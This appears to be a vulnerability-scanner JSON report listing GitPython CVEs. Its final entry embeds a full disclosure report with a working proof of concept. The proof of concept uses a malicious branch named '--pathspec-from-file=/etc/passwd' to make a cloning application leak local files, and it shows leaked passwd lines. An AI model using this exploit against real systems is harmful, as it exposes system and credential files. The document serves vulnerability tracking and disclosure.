"VendorIDs": [ "GHSA-4gmw-gg2m-w46p" ], "PkgName": "GitPython", "PkgPath": "usr/local/lib/python3.11/site-packages/gitpython-3.1.45.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.45", "UID": "4b63587de376c28" }, "InstalledVersion": "3.1.45", "FixedVersion": "3.1.58", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-76219", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:e6e8c3987c2d051c06efffdcd51dfcd5919ead6cfbfc081ac72d050b21c08d6c", "Title": "gitpython: GitPython: Arbitrary File Overwrite via `git read-tree` option injection", "Description": "GitPython versions before 3.1.58 contain an arbitrary file overwrite vulnerability in IndexFile.from_tree, IndexFile.reset, and IndexFile.merge_tree methods that append caller-influenced treeish strings to git read-tree without option validation or argument separation. Attackers can inject the --index-output option to overwrite arbitrary files with a valid git-index blob, destroying existing file content at attacker-controlled writable paths.", "Severity": "HIGH", "CweIDs": [ "CWE-88" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "V3Score": 8.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-76219", "https://advisory.echohq.com/cve/CVE-2026-76219", "https://github.com/advisories/GHSA-4gmw-gg2m-w46p", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/commit/9b5dcaf85da5946dbf69dcd53f9edba08f760b32", "https://github.com/gitpython-developers/GitPython/pull/2204", "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-4gmw-gg2m-w46p", "https://nvd.nist.gov/vuln/detail/CVE-2026-76219", "https://www.cve.org/CVERecord?id=CVE-2026-76219", "https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-overwrite-via-read-tree" ], "PublishedDate": "2026-08-19T14:17:48.187Z", "LastModifiedDate": "2026-09-03T15:03:51.95Z" }, { "VulnerabilityID": "CVE-2026-76220", "VendorIDs": [ "GHSA-wvpp-8hx9-p66j" ], "PkgName": "GitPython", "PkgPath": "usr/local/lib/python3.11/site-packages/gitpython-3.1.45.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.45", "UID": "4b63587de376c28" }, "InstalledVersion": "3.1.45", "FixedVersion": "3.1.58", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-76220", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:a3e8dc0cc0c3931f23b7bb7dd54cb6f3ff88b03522372596c875cf82ddac6a51", "Title": "gitpython: GitPython: Arbitrary command execution via crafted kwargs", "Description": "GitPython before 3.1.58 contains a command execution vulnerability in the check_unsafe_options guard that can be bypassed by combining a single-character kwarg with split_single_char_options=False. Attackers can supply a crafted kwargs dictionary to guarded methods like clone_from to emit a joined token parsed as --upload-pack, enabling arbitrary OS command execution at default allow_unsafe_options=False.", "Severity": "HIGH", "CweIDs": [ "CWE-88" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-76220", "https://advisory.echohq.com/cve/CVE-2026-76220", "https://github.com/advisories/GHSA-wvpp-8hx9-p66j", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/commit/96a888f4d782cb2f80452148e48e60ce4af6d541", "https://github.com/gitpython-developers/GitPython/pull/2204", "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-wvpp-8hx9-p66j", "https://nvd.nist.gov/vuln/detail/CVE-2026-76220", "https://www.cve.org/CVERecord?id=CVE-2026-76220", "https://www.vulncheck.com/advisories/gitpython-before-command-execution-via-split-single-char-options" ], "PublishedDate": "2026-08-19T14:17:48.323Z", "LastModifiedDate": "2026-09-03T15:04:15.237Z" }, { "VulnerabilityID": "CVE-2026-76222", "VendorIDs": [ "GHSA-hmq2-w58f-27jc" ], "PkgName": "GitPython", "PkgPath": "usr/local/lib/python3.11/site-packages/gitpython-3.1.45.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.45", "UID": "4b63587de376c28" }, "InstalledVersion": "3.1.45", "FixedVersion": "3.1.58", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-76222", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:4b62a9610996416e7a16f3ec9fc3caef7194c7021b82959f8b8157a7b3b04c25", "Title": "gitpython: GitPython: Arbitrary file creation via path traversal in .gitmodules submodule names", "Description": "GitPython before 3.1.58 fails to validate submodule names from .gitmodules files, allowing attackers to create Git repositories at arbitrary filesystem paths outside the intended clone directory. Attackers can craft malicious repositories with traversal sequences in submodule names that GitPython processes during submodule initialization, creating attacker-controlled Git repositories at escaped filesystem locations.", "Severity": "HIGH", "CweIDs": [ "CWE-22" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L", "V3Score": 8.2 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L", "V3Score": 8.2 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-76222", "https://advisory.echohq.com/cve/CVE-2026-76222", "https://github.com/advisories/GHSA-hmq2-w58f-27jc", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/commit/4299c990e1ca21896f9485277caf7bb0ae5b404c", "https://github.com/gitpython-developers/GitPython/commit/e4b8e7d026ca6abb4cf604f8e77093432ce23c06", "https://github.com/gitpython-developers/GitPython/pull/2202", "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-hmq2-w58f-27jc", "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3784.yaml", "https://nvd.nist.gov/vuln/detail/CVE-2026-76222", "https://www.cve.org/CVERecord?id=CVE-2026-76222", "https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-gitmodules-submodule-name" ], "PublishedDate": "2026-08-19T14:17:48.603Z", "LastModifiedDate": "2026-09-02T19:37:05.047Z" }, { "VulnerabilityID": "CVE-2026-78675", "VendorIDs": [ "GHSA-7833-fr7j-v32q" ], "PkgName": "GitPython", "PkgPath": "usr/local/lib/python3.11/site-packages/gitpython-3.1.45.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.45", "UID": "4b63587de376c28" }, "InstalledVersion": "3.1.45", "FixedVersion": "3.1.59", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78675", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:ed9b271dfac95c2903cf4e4e8d08917bcee9a4ae5cf143f9319bb216e9865612", "Title": "GitPython: GitPython: Local file content disclosure via malicious .gitmodules", "Description": "GitPython before 3.1.59 fails to disable merge_includes when parsing .gitmodules, allowing attackers to disclose local file content by including arbitrary file paths via [include] directives. Attackers can craft a malicious .gitmodules file with include directives pointing to sensitive files; when repo.submodules is accessed, GitConfigParser raises MissingSectionHeaderError embedding the target file's first line verbatim in the exception message.", "Severity": "HIGH", "CweIDs": [ "CWE-73" ], "VendorSeverity": { "ghsa": 3, "nvd": 3, "redhat": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V40Vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V3Score": 8.4, "V40Score": 8.6 }, "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-78675", "https://advisory.echohq.com/cve/CVE-2026-78675", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/commit/ef7568e3b317ce617eacda39b8b54dcdff8c3b5c", "https://github.com/gitpython-developers/GitPython/pull/2211", "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7833-fr7j-v32q", "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3785.yaml", "https://nvd.nist.gov/vuln/detail/CVE-2026-78675", "https://www.cve.org/CVERecord?id=CVE-2026-78675", "https://www.vulncheck.com/advisories/gitpython-before-local-file-content-disclosure-via-gitmodules" ], "PublishedDate": "2026-08-25T02:16:51.887Z", "LastModifiedDate": "2026-10-12T15:10:00.207Z" }, { "VulnerabilityID": "CVE-2026-78677", "VendorIDs": [ "GHSA-8mcc-hrx5-hvxc" ], "PkgName": "GitPython", "PkgPath": "usr/local/lib/python3.11/site-packages/gitpython-3.1.45.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.45", "UID": "4b63587de376c28" }, "InstalledVersion": "3.1.45", "FixedVersion": "3.1.59", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78677", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:daf4597acf3b959760940bf4385f9048e39b5ccbe9ab483d7fde362f9f7cf76d", "Title": "GitPython: GitPython: Arbitrary Code Execution via Path Traversal", "Description": "GitPython before 3.1.59 omits --separate-git-dir from unsafe_git_clone_options, allowing attackers to create arbitrary git directories outside the intended clone destination. Attackers can pass a separate_git_dir parameter to Repo.clone_from() or Repo.clone() to redirect repository metadata to an attacker-controlled filesystem path, enabling arbitrary directory creation and potential hook execution.", "Severity": "HIGH", "CweIDs": [ "CWE-22" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "V3Score": 7.5, "V40Score": 8.7 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-78677", "https://advisory.echohq.com/cve/CVE-2026-78677", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/commit/b68afff45af0f49e79a3e2d2162018986b37ad5d", "https://github.com/gitpython-developers/GitPython/pull/2210", "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-8mcc-hrx5-hvxc", "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3787.yaml", "https://nvd.nist.gov/vuln/detail/CVE-2026-78677", "https://www.cve.org/CVERecord?id=CVE-2026-78677", "https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-separate-git-dir" ], "PublishedDate": "2026-08-25T02:16:52.173Z", "LastModifiedDate": "2026-10-12T15:10:00.207Z" }, { "VulnerabilityID": "CVE-2026-87817", "VendorIDs": [ "GHSA-239g-whfq-7xj9" ], "PkgName": "GitPython", "PkgPath": "usr/local/lib/python3.11/site-packages/gitpython-3.1.45.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.45", "UID": "4b63587de376c28" }, "InstalledVersion": "3.1.45", "FixedVersion": "3.1.60", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-87817", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:a78ee7e0c29a0efa800cae757814bce7f2cba72731d7a8e923e1c623538f99af", "Title": "GitPython: GitPython: Remote Code Execution via Git directory impersonation", "Description": "GitPython before 3.1.60 fails to properly validate the git directory location, allowing attackers to impersonate the git directory using tracked files like gitdir, commondir, and HEAD. Attackers can execute arbitrary code by placing a malicious pre-commit hook in the tracked hooks directory that executes when a victim calls index.commit() on a cloned or opened repository.", "Severity": "HIGH", "CweIDs": [ "CWE-94" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-87817", "https://advisory.echohq.com/cve/CVE-2026-87817", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/commit/c7cf4d13b1ed0a2e70f2a1f3c6b4fc6c2652cf0b", "https://github.com/gitpython-developers/GitPython/pull/2218", "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.60", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-239g-whfq-7xj9", "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3982.yaml", "https://nvd.nist.gov/vuln/detail/CVE-2026-87817", "https://www.cve.org/CVERecord?id=CVE-2026-87817", "https://www.vulncheck.com/advisories/gitpython-before-3.1.60-remote-code-execution-via-git-directory-impersonation" ], "PublishedDate": "2026-09-09T12:17:16.83Z", "LastModifiedDate": "2026-09-16T15:24:41.533Z" }, { "VulnerabilityID": "CVE-2026-87819", "VendorIDs": [ "GHSA-g5vv-9gxw-82hx" ], "PkgName": "GitPython", "PkgPath": "usr/local/lib/python3.11/site-packages/gitpython-3.1.45.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.45", "UID": "4b63587de376c28" }, "InstalledVersion": "3.1.45", "FixedVersion": "3.1.60", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-87819", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:519799b48affbe7e989f9135dd18e8d55c5007804e53a0d10ec021abc02588b1", "Title": "GitPython: GitPython: Denial of Service via crafted commit author field", "Description": "GitPython before 3.1.60 contains a regular expression denial of service vulnerability in Actor.name_email_regex that processes commit author and committer fields. Attackers can craft a commit object with a malformed author field containing an unterminated angle bracket to cause quadratic backtracking, exhausting CPU resources for over two minutes per commit access.", "Severity": "HIGH", "CweIDs": [ "CWE-1333" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-87819", "https://advisory.echohq.com/cve/CVE-2026-87819", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/commit/751473a5f3221d6f989291cbebcc404353fd3ba8", "https://github.com/gitpython-developers/GitPython/pull/2215", "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.60", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-g5vv-9gxw-82hx", "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3984.yaml", "https://nvd.nist.gov/vuln/detail/CVE-2026-87819", "https://www.cve.org/CVERecord?id=CVE-2026-87819", "https://www.vulncheck.com/advisories/gitpython-before-3.1.60-denial-of-service-via-redos" ], "PublishedDate": "2026-09-09T12:17:17.12Z", "LastModifiedDate": "2026-09-18T18:17:34.697Z" }, { "VulnerabilityID": "GHSA-23mf-xhv8-69c2", "PkgName": "GitPython", "PkgPath": "usr/local/lib/python3.11/site-packages/gitpython-3.1.45.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.45", "UID": "4b63587de376c28" }, "InstalledVersion": "3.1.45", "FixedVersion": "3.2.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://github.com/advisories/GHSA-23mf-xhv8-69c2", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:6600ad68434f7822b2e1cef4b82def126e2a3e0abdc458d9dc034f829cc058bc", "Title": "GitPython: arbitrary file read via attacker-controlled branch name in `Head.checkout()` (incomplete fix of CVE-2026-78679)", "Description": "\u003e **A note on the referenced files.** This report was submitted through GitHub's private\n\u003e vulnerability reporting API, which carries no attachments. Every transcript this report leans\n\u003e on is reproduced **inline above**, verbatim. The file names it mentions (`poc.sh`, `poc.log`,\n\u003e per-case transcripts, `evidence.md`, `negative-controls.md`, blob-sweep tables) are the local\n\u003e evidence bundle those inline excerpts were extracted from, with a checksum manifest. I am happy\n\u003e to send the bundle by any channel you prefer, or to open a private fork — just say which. The\n\u003e PoC scripts are self-contained and reproduce the result from a clean environment.\n\n---\n\n**Affected:** `\u003c= 3.1.62` — all published releases; also `main` @ `4905b4af`\n**Verified at runtime:** GitPython `3.1.62` with git `2.55.0`\n**Date:** 2026-09-10\n**Reporter:** MAXI8594\n\n---\n\n## Threat model\n\n| | |\n|---|---|\n| **Attacker** | anyone who can get the application to clone a URL they control. No account, no credential, no privilege in the consuming application. |\n| **Pre-need** | a repository they host, with `HEAD` pointing at a branch whose name is the payload. A `git push` to a plain git server is enough — no filesystem access to a server is required (`raw/06`). |\n| **Gets** | the contents of any file the application's process can read, returned in band through the exception. `/etc/passwd` recovered 34 of 34 lines. |\n| **Real-world likelihood** | **High.** The vulnerable consumer is six lines of ordinary code with no unusual configuration: `Repo.clone_from(user_url)` then `repo.active_branch.checkout()`. `allow_unsafe_options=False` is the default. Cloning user-supplied URLs is the library's central use case — CI systems, repository importers, scanners and bots. |\n\n**On severity relative to the sibling advisories.** GitHub, as CNA, scored the three prior\nadvisories in this class at 6.5 / `PR:L` (CVE-2026-76217, CVE-2026-78678, CVE-2026-78679). This\nreport asks for 7.5 / `PR:N`, and the difference is one measured fact: in those three, the\napplication had to pass an attacker-influenced value into the API. Here it passes nothing — the\nclone materialises the hostile branch on its own and `repo.active_branch` returns it\n(`raw/02`). If that reading is not accepted, the `PR:L` path via `Repo.create_head()` is also real\nand lands at 6.5, matching the siblings.\n\n## Summary\n\n`Head.checkout()` guards its `**kwargs` against unsafe Git options but never inspects its own\npositional argument — the branch name — which reaches the `git checkout` argv with no `--`\nseparator. A repository whose default branch is named `--pathspec-from-file=/etc/passwd` makes a\nconsumer that merely clones it and checks out the default branch return the entire contents of that\nfile to the caller.\n\nThis is the exact combination of two advisories the project already fixed:\n\n- **CVE-2026-76217** (`GHSA-hh9p-6wh2-4mfc`) — *\"Arbitrary file read via `--pathspec-from-file` in\n `IndexFile.remove()` **and `Head.checkout()`**\"*. Fixed in 3.1.58 by commit `f2550b65`, which added\n the guard to this exact method — but only for `**kwargs`.\n- **CVE-2026-78679** (`GHSA-3wxw-xv34-2frg`) — *\"`TagReference.create` positional reference\n bypasses kwargs-only `--file` guard, enabling arbitrary file read (incomplete fix of 3af0c251)\"*. Fixed in 3.1.59 by commit `1b0d2d9b`, which applied the\n positional check to `git/refs/tag.py`, `git/diff.py`, `git/index/base.py` and `git/repo/base.py` —\n but not to `git/refs/head.py:286`.\n\n`f2550b65` states in its own commit message that the audit found the positional variant and applied\nit to `HEAD.reset` — 185 lines above `Head.checkout`, in the same file, in the same commit:\n\n\u003e \"The audit also found that **reset's positional commit could carry the option before its argument\n\u003e separator**. […] **Check reset's positional commit as well as keyword options**\"\n\n`HEAD.reset` got the fix. `Head.checkout` did not, and `1b0d2d9b` did not come back for it.\n\n## Affected Asset\n\n| | |\n|---|---|\n| Package | `GitPython` (PyPI) |\n| Affected versions | **`\u003c= 3.1.62`** — all published releases |\n| Latest release tested | `3.1.62` |\n| Also present on | `main` @ `4905b4af` |\n| Vulnerable file | `git/refs/head.py` |\n| Guard | line 286 — `Git._option_candidates([], kwargs)` |\n| Sink | line 293 — `self.repo.git.checkout(self, **kwargs)` |\n| CWE | CWE-88 (Argument Injection), CWE-73 (External Control of File Name or Path), CWE-200 (Exposure of Sensitive Information) |\n| CVSS 3.1 | `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` → **7.5 High** |\n\nThe version range was established by **blob hash against every tag**, not by dates: the sink line\n`self.repo.git.checkout(self, **kwargs)` — with no `--` separator — is present in `git/refs/head.py`\nin every tag from `0.3.1-beta2` through `3.1.62`. The `3.1.62` blob is byte-identical to `main`:\n`7f563374ef9e018b3d5f95054498e8591e112ce2`. Full sweep in `raw/07-blob-version-sweep.txt`.\n\nThe kwargs-only guard first appears in **3.1.58**, so `3.1.58`–`3.1.62` is where \"incomplete fix\"\napplies; earlier releases have the same sink with no guard at all.\n\n## Vulnerability Details\n\n### Root cause\n\n`git/cmd.py:1045` — `_option_candidates()` only inspects the positionals it is handed:\n\n```python\n@classmethod\ndef _option_candidates(cls, args: Sequence[Any] = (), kwargs: Optional[Mapping[str, Any]] = None) -\u003e List[str]:\n \"\"\"Collect possible option spellings before command-line transformation.\"\"\"\n options = [\n option for option in cls._unpack_args([arg for arg in args if arg is not None]) if option.startswith(\"-\")\n ]\n```\n\nSo `_option_candidates([], kwargs)` means: *check the keyword arguments, never check the positional\narguments this method puts on the command line.* That is fine when the method has no\nattacker-influenced positional, or when it separates them with `--`.\n\n`git/refs/head.py:283-293` — `Head.checkout()` has neither:\n\n```python\n if not allow_unsafe_options:\n Git.check_unsafe_options(\n options=Git._option_candidates([], kwargs),\n unsafe_options=Git.unsafe_git_pathspec_from_file_options,\n )\n kwargs[\"f\"] = force\n if kwargs[\"f\"] is False:\n kwargs.pop(\"f\")\n\n self.repo.git.checkout(self, **kwargs)\n```\n\n`self` is the only positional. It serialises to the branch name, lands in the `git checkout` argv,\nand is not in the list the guard inspects. `_call_process` builds `args_list = opt_args + ext_args`,\nso keyword-derived options precede positionals — which is why the rest of the library puts `\"--\"`\nfirst (`Remote.fetch/pull/push`, `Repo._clone`, `Repo.archive`, `IndexFile.remove`, `Commit.count`\nall do). `Head.checkout` does not.\n\n### Why the branch name is attacker-controlled\n\nGit accepts a refname whose branch component begins with `-` and contains `/`\n(`raw/02-refname-accepted-and-cloned.txt`):\n\n```\n\u003e\u003e\u003e git check-ref-format 'refs/heads/--pathspec-from-file=/etc/passwd'\n exit=0 stderr=''\n =\u003e un refname que empieza con '-' y lleva '/' es VALIDO para git\n\n\u003e\u003e\u003e git -C \u003cbare\u003e update-ref 'refs/heads/--pathspec-from-file=/etc/passwd' beea87239099\n exit=0 stderr=''\n\u003e\u003e\u003e git -C \u003cbare\u003e symbolic-ref HEAD 'refs/heads/--pathspec-from-file=/etc/passwd'\n exit=0\n HEAD del bare = refs/heads/--pathspec-from-file=/etc/passwd\n ref en disco como arbol jerarquico: True\n\n\u003e\u003e\u003e Repo.clone_from('file://\u003cbare\u003e', \u003cvictim\u003e) # la app solo clona\n ramas LOCALES creadas por el clone, sin que nadie las pida:\n refs/heads/--pathspec-from-file=/etc/passwd\n repo.active_branch.name = '--pathspec-from-file=/etc/passwd'\n coincide con el nombre hostil: True\n```\n\nThe transcript above also shows the second half: `git clone` **materialises that branch locally on\nits own** when the remote `HEAD` points at it — the consuming application never asks for it.\n\nA plain git server accepts the refname over `receive-pack`, with no `--force` and no special config\n(`raw/06-push-accepts-refname.txt`), so the attacker does not need filesystem access to a server —\na `git push` is enough. That measurement, and the clone in `raw/02`, both use the `file://`\ntransport, which exercises the same git wire protocol as `https://`; I did not test against a\nhosted forge, since that would mean writing to a third party.\n\n### Why the leak reaches the caller\n\nThe file contents are in `CommandError.__str__`, not only in the `.stderr` attribute\n(`git/exc.py`):\n\n```python\n self.stderr = stderr_decode and \"\\n stderr: '%s'\" % stderr_decode or \"\"\n\n def __str__(self) -\u003e str:\n return (self._msg + \"\\n cmdline: %s%s%s\") % (\n self._cmd, self._cause, self._cmdline, self.stdout, self.stderr,\n )\n```\n\nSo `logging.exception(...)`, `print(e)`, or simply **not catching** the exception all disclose the\nfile. The developer does not have to know `.stderr` exists.\n\n### Full chain\n\n```\nRepo.clone_from(\u003cattacker URL\u003e)\n ↓ remote HEAD points at refs/heads/--pathspec-from-file=/etc/passwd\n ↓ git clone creates that LOCAL branch unasked\nrepo.active_branch → Head with name = \"--pathspec-from-file=/etc/passwd\"\n ↓\nHead.checkout() git/refs/head.py:286 — guard inspects kwargs only\n ↓ self.repo.git.checkout(self, **kwargs) git/refs/head.py:293 — no \"--\"\ngit checkout --pathspec-from-file=/etc/passwd\n ↓ git emits one `error:` per unmatched pathspec — one per line of the file\nGitCommandError → CommandError.__str__ → the consumer\n```\n\n## Steps to Reproduce\n\nEnvironment: GitPython 3.1.62, git 2.55.0, Linux x86_64, disposable venv. Everything local —\ntemporary repositories and the `file://` transport. No remote hosts, no third-party repositories.\n\nThe bundled `poc.sh` runs all seven scenarios as a single unit and writes `poc.log` plus one file per\nscenario under `raw/`. Minimal manual reproduction:\n\n```bash\npython3 -m venv /tmp/gp \u0026\u0026 /tmp/gp/bin/python -m pip install gitpython==3.1.62\n\nW=$(mktemp -d)\ngit init -q -b main \"$W/a\"; echo x \u003e \"$W/a/f.txt\"\ngit -C \"$W/a\" add f.txt\ngit -C \"$W/a\" -c user.email=a@b -c user.name=a commit -qm c\ngit clone -q --bare \"$W/a\" \"$W/a.git\"\nSHA=$(git -C \"$W/a.git\" rev-parse HEAD)\n\n# the attacker names their default branch after the file they want\ngit -C \"$W/a.git\" update-ref 'refs/heads/--pathspec-from-file=/etc/passwd' \"$SHA\"\ngit -C \"$W/a.git\" symbolic-ref HEAD 'refs/heads/--pathspec-from-file=/etc/passwd'\n\ncat \u003e \"$W/consumer.py\" \u003c\u003c'PYEOF'\nimport logging, sys, git\nlogging.basicConfig(level=logging.INFO, format=\"%(message)s\")\ntry:\n repo = git.Repo.clone_from(sys.argv[1], sys.argv[2]) # user-supplied URL\n repo.active_branch.checkout() # ensure a clean working tree\nexcept git.exc.GitCommandError:\n logging.exception(\"clone failed\")\nPYEOF\n\n/tmp/gp/bin/python \"$W/consumer.py\" \"file://$W/a.git\" \"$W/victim\"\n```\n\n### Raw Request\n\nThe real `git checkout` argv, captured by instrumenting `Git.execute` (`raw/01-real-argv.txt`).\nThis is the command GitPython actually built — the branch name became an option:\n\n```\n argv real : ['git', 'checkout', '--pathspec-from-file=/tmp/gpargv-9im8ao2d/SECRET.txt']\n```\n\n### Raw Response\n\nObserved output (`raw/05-six-line-consumer.txt`, tail) — git emits one `error:` line per unmatched\npathspec, which is one per line of the target file:\n\n```\nerror: pathspec 'mysql:x:958:958:MariaDB:/var/lib/mysql:/usr/bin/nologin' did not match any file(s) known to git\nerror: pathspec 'flatpak:x:957:957:Flatpak system helper:/:/usr/bin/nologin' did not match any file(s) known to git\nerror: pathspec 'wazuh:x:956:955:Wazuh Agent:/var/ossec:/usr/sbin/nologin' did not match any file(s) known 